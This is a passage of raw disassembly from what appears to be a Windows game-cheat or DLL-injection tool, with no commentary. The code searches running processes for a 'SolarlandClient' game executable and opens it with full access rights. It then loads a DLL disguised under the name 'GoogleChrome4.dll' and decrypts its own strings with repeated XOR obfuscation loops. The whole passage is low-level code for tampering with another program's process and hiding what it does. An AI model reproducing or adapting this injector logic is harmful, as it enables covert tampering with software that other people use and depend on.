mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x27
jl 0x14000a680
jmp 0x140008593
mov edi, r14d
lea rdx, [rbp + 0x1df0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x14000a72e
lea rsi, str.SolarlandClient_Win64_Shipping.exe
nop word [rax + rax]
mov rax, rsi
lea r8, [rbp + 0x1e1c]
sub r8, rsi
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14000a707
inc rax
test ecx, ecx
jne 0x14000a6f0
test edx, edx
je 0x14000a728
lea rdx, [rbp + 0x1df0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x14000a6e0
jmp 0x14000a72e
mov edi, dword [rbp + 0x1df8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x14000aab8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x76], 0
lea rdx, [rbp + 0x968]
lea rcx, [rbp - 0x76]
call fcn.14000ea10
mov r10, rax
cmp byte [rax + 0x19], 0
jne 0x14000a913
mov r8d, r14d
cmp r15d, 2
jl 0x14000a8d1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000a7c0
cmp r8d, 0x1a
jge 0x14000a913
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14000a8e0
cmp byte [r10 + 0x19], 0
je 0x140008593
cmp r15d, 2
jl 0x14000aa73
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x14000a960
cmp eax, 0x1a
jge 0x140008593
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x1a
jl 0x14000aa80
jmp 0x140008593
mov rcx, rbx
call fcn.1400031d0
test al, al
jne 0x14000ae18
mov byte [rbp - 0x75], al
lea rdx, [rbp + 0x888]
lea rcx, [rbp - 0x75]
call fcn.14000ea40
mov r10, rax
cmp byte [rax + 0x18], 0
jne 0x14000ac73
mov r8d, r14d
cmp r15d, 2
jl 0x14000ac33
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000ab22
cmp r8d, 0x19
jge 0x14000ac73
movsxd r9, r8d
add r9, r10
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x14000ac40
cmp byte [r10 + 0x18], 0
je 0x1400090a3
cmp r15d, 2
jl 0x14000add3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x14000acc0
cmp eax, 0x19
jge 0x1400090a3
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x19
jl 0x14000ade0
jmp 0x1400090a3
lea rdx, str.GoogleChrome4.dll
mov rcx, rbx
call fcn.140001330
mov rcx, rbx
test al, al
jne 0x14000b1a0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp - 0x74], 0
lea rdx, [rbp + 0xa88]
lea rcx, [rbp - 0x74]
call fcn.14000ea70
mov r10, rax
cmp byte [rax + 0x21], 0
jne 0x14000aff3
mov r8d, r14d
cmp r15d, 2
jl 0x14000afb1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14000aea0
cmp r8d, 0x22
jge 0x14000aff3
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14000afc0
cmp byte [r10 + 0x21], 0
je 0x14000b193
cmp r15d, 2
jl 0x14000b153
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x20
jl 0x14000b040
cmp eax, 0x22
jge 0x14000b193
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x22
jl 0x14000b160
mov rcx, r10
call fcn.140001050
jmp 0x14000859d
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [rbp - 0x73], 0
lea rdx, [rbp + 0x988]
lea rcx, [rbp - 0x73]
call fcn.14000eaf0
mov r10, rax
cmp byte [rax + 0x19], 0
jne 0x14000b353
mov r8d, r14d
cmp r15d, 2
jl 0x14000b312
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14000b201
cmp r8d, 0x1a
jge 0x14000b353
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x14000b320
cmp byte [r10 + 0x19], 0
je 0x14000b4f3
cmp r15d, 2
jl 0x14000b4b3
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, r10
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r14d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r14 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx + 4]
xorps xmm2, xmm0
movd dword [rcx + 4], xmm2
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x14000b3a0
cmp eax, 0x1a
jge 0x14000b4f3
movsxd r8, r14d
add r8, r10
nop dword [rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0x1a
jl 0x14000b4c0
xor r9d, r9d
lea r8, [0x1400149e8]
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov byte [rbp - 0x72], 0
lea rdx, [rbp - 0x40]
lea rcx, [rbp - 0x72]
call fcn.14000eac0
mov r10, rax
cmp byte [rax + 0xe], 0
jne 0x14000b683
mov r8d, r14d
cmp r15d, 2
jl 0x14000b645
movdqa xmm4, xmmword [0x140015370]
movdqa xmm2, xmmword [0x140015320]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140015340]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x140015330]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140015340]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x32
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14000b650
cmp byte [r10 + 0xe], 0
je 0x14000b7e3
cmp r15d, 2
jl 0x14000b79e
movdqa xmm4, xmmword [0x140015370]
movdqa xmm2, xmmword [0x140015320]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140015340]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
mov eax, dword [str.2222222222222222]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10]
xorps xmm2, xmm0
movd dword [r10], xmm2
movdqa xmm3, xmmword [0x140015330]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140015340]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm2, xmm0
movd dword [r10 + 4], xmm2
mov r14d, 8
movsxd r8, r14d
add r8, r10
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul r14d
add edx, r14d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r14b
sub al, cl
add al, 0x32
xor byte [r8], al
inc r14d
lea r8, [r8 + 1]
cmp r14d, 0xf
jl 0x14000b7b0
xor r9d, r9d
mov r8, r10
lea rdx, [0x140014d20]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 0xffffffff
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, [0x140014cd8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x1f24]
call sub.VCRUNTIME140.dll_memset
mov dword [rbp + 0x1f20], 0x130
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x14000bba8
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov byte [rbp - 0x71], 0
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp - 0x71]
call fcn.14000e9d0
mov r10, rax
cmp byte [rax + 0x26], 0
jne 0x14000ba03
mov r8d, r14d
cmp r15d, 2
jl 0x14000b9c1
movdqa xmm5, xmmword [0x140015320]
movdqa xmm4, xmmword [0x140015370]
movdqa xmm6, xmmword [0x140015340]
movdqa xmm0, xmmword [str.2222222222222222]
movdqa xmmword [rsp + 0x30], xmm0
mov rcx, rax
mov edx, dword [rsp + 0x30]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140015350]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
